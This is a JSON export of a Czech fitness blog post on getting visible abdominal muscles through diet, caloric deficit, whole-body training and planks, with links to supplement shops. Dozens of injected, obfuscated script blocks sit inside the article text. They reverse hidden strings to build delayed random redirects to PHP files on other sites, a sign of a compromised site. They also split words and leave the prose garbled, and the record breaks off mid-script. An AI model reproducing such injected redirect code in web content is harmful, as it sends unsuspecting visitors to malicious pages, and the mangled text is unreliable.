{"id":313,"date":"2020-07-30T09:09:16","date_gmt":"2020-07-30T09:09:16","guid":{"rendered":"http:\/\/www.svetkulturistiky.cz\/?p=313"},"modified":"2020-07-30T09:09:16","modified_gmt":"2020-07-30T09:09:16","slug":"bez-prace-nejsou-brichace","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2020\/07\/30\/bez-prace-nejsou-brichace\/","title":{"rendered":"BEZ PR\u00c1CE NEJSOU B\u0158ICH\u00c1\u010cE"},"content":{"rendered":"<h1>Jak vyr\u00fdsovat b\u0159i\u0161n\u00ed svaly? M\u00e1me pro v\u00e1s p\u00e1r tip\u016f.<\/h1>\n<p><strong>Vyr\u00fdsovan\u00e9 b\u0159icho a dokonal\u00fd \u201eV\u201c tvar trupu &#8211; po <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou\u017e\u00ed ka\u017ed\u00fd. Ale jak <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho skute\u010dn\u011b dos\u00e1hnout? To a mnohem v\u00edce se dozv\u00edte v\u00a0na\u0161em \u010dl\u00e1nku.<\/strong><\/p>\n<p>Kdo by necht\u011bl po\u0159\u00e1dn\u00e9 b\u0159ich\u00e1\u010de \u2013 je za t\u00edm ale v\u00e1\u017en\u011b spousta d\u0159iny. Neznamen\u00e1 <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e, \u017ee kdy\u017e budete cvi\u010dit sklapova\u010dky, tr\u00e9novat ka\u017ed\u00fd den a dopovat se suplementy, z\u00e1konit\u011b dos\u00e1hnete c\u00edle. Naopak \u2013 jen cviky na b\u0159icho v\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to p\u0159\u00edpad\u011b nepomohou!<\/p>\n<p>Svaly se sice zpevn\u00ed, ale st\u00e1le budou schovan\u00e9 pod tukovou vrstvou. A pr\u00e1v\u011b t\u00e9 je pot\u0159eba se zbavit. <strong>Cesta k\u00a0ploch\u00e9mu b\u0159ichu vede p\u0159es trp\u011blivost, pevnou v\u016fli a dodr\u017eov\u00e1n\u00ed n\u011bkolika z\u00e1kladn\u00edch pravidel.<\/strong> Zn\u00e1te je?<\/p>\n<h2>Vsa\u010fte na zdravou stravu a kalorick\u00fd deficit.<\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-319 alignleft\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/07\/b\u0159icho-209x300.jpg\" alt=\"\" width=\"209\" height=\"300\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/07\/b\u0159icho-209x300.jpg 209w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/07\/b\u0159icho.jpg 693w\" sizes=\"auto, (max-width: 209px) 100vw, 209px\" \/>Ono se <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to nezd\u00e1 \u2013 ale jinak nem\u00e1te \u0161anci usp\u011bt. Jestli <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to mysl\u00edte s\u00a0ploch\u00fdm b\u0159ichem opravdu v\u00e1\u017en\u011b, za\u010dn\u011bte j\u00edst zdrav\u011b (vsa\u010fte na zeleninu, b\u00edl\u00e9 maso \u010di pravideln\u00fd p\u0159\u00edjem vl\u00e1kniny). Sna\u017ete se ve strav\u011b p\u0159ij\u00edmat takt\u00e9\u017e komplexn\u00ed sacharidy a zdrav\u00e9 tuky.<\/p>\n<p>Dbejte p\u0159edev\u0161\u00edm na dostatek b\u00edlkovin, t\u0159eba za pomoci <a href=\"https:\/\/eshop.alfafit.cz\/cz-kategorie_56536-0-proteiny-bilkoviny.html\"><strong>proteinov\u00fdch suplement\u016f<\/strong><\/a>. Dok\u00e1\u017eou skv\u011ble zasytit na del\u0161\u00ed dobu. Stejn\u011b tak udr\u017e\u00ed zrychlen\u00fd metabolismus.<\/p>\n<p>D\u00e1le plat\u00ed, \u017ee pokud chcete odbour\u00e1vat tuky, mus\u00edte b\u00fdt v<strong>\u00a0<a href=\"https:\/\/eshop.alfafit.cz\/clanek\/jak-vypocitat-kalorie-kaloricky-prijem-pri-hubnuti.html\">kalorick\u00e9m deficitu<\/a><\/strong> \u2013 tzn. m\u00edt vy\u0161\u0161\u00ed v\u00fddej energie ne\u017e p\u0159\u00edjem. Jen tak p\u016fjde tuk (ne)jen na b\u0159i\u0161e dol\u016f.<\/p>\n<p>A pokud bude t\u0159eba, zkuste <strong>spalova\u010de tuk\u016f<\/strong>. Ty od <strong><a href=\"https:\/\/eshop.alfafit.cz\/cz-kategorie_56432-0-spalovace.html\">Nutrendu<\/a> <\/strong>nebo <strong><a href=\"https:\/\/eshop.alfafit.cz\/cz-kategorie_56583-0-spalovace-tuku.html\">Extrifitu<\/a> <\/strong>pat\u0159\u00ed mezi st\u00e1lice na trhu. Vyplat\u00ed se je vyzkou\u0161et, pokud samotn\u00e1 strava a kalorick\u00fd deficit nezab\u00edraj\u00ed.<\/p>\n<h2>Cvi\u010dte cel\u00e9 t\u011blo \u2013 d\u016fkladn\u011b<\/h2>\n<p>Cviky na b\u0159icho samy o sob\u011b nepomohou. To u\u017e jsme si vysv\u011btlili v\u00a0p\u0159edchoz\u00edch odstavc\u00edch. Ono je <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e z\u00e1sadn\u00ed soust\u0159edit se na cel\u00e9 t\u011blo \u2013 postupn\u011b srazit tuky na minimum ve v\u0161ech parti\u00edch.<\/p>\n<p>Neexistuje zp\u016fsob, jak se zbavit tuku pouze na b\u0159i\u0161e. Jedin\u00e1 cesta vede p\u0159es komplexn\u00ed cvi\u010den\u00ed \u2013 zam\u011b\u0159it se mus\u00edte na cel\u00e9 t\u011blo a <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu p\u0159izp\u016fsobit sv\u016fj cvi\u010debn\u00ed pl\u00e1n. Zapojte v\u0161echny svaly! A pamatujte, \u017ee \u00fabytek tukov\u00e9 vrstvy na b\u0159i\u0161e je siln\u011b ovlivn\u011bn\u00fd genetikou. Bez trp\u011blivosti <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to nep\u016fjde!<\/p>\n<p><strong>Jak\u00e9 cviky na b\u0159icho za\u0159adit?<\/strong><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-317\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/07\/EV_0439_V1.tif\" alt=\"\" width=\"1\" height=\"1\" \/><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-320 alignright\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/07\/vzpor-300x189.jpg\" alt=\"\" width=\"300\" height=\"189\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/07\/vzpor-300x189.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/07\/vzpor.jpg 700w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>\u0158ada lid\u00ed pova\u017euje za nejlep\u0161\u00ed cvik na b\u0159icho SED-LEH. V\u00a0praxi ov\u0161em takov\u00fdm favoritem nen\u00ed. A\u010d je \u010das<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to mezi spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci sou\u010d\u00e1st\u00ed v\u00fdzev, vyhn\u011bte se mu obloukem, pokud <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to mysl\u00edte s\u00a0b\u0159i\u0161\u00e1ky v\u00e1\u017en\u011b.<\/p>\n<p>J\u00e1 doporu\u010duji nap\u0159. PLANK (zn\u00e1m\u00fd t\u00e9\u017e jako \u201eprkno\u201c) &#8211; na pohled velmi jednoduch\u00fd cvik na b\u0159icho a boky. Ov\u0161em, kdo ho zkusil, jist\u011b potvrd\u00ed, \u017ee <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if 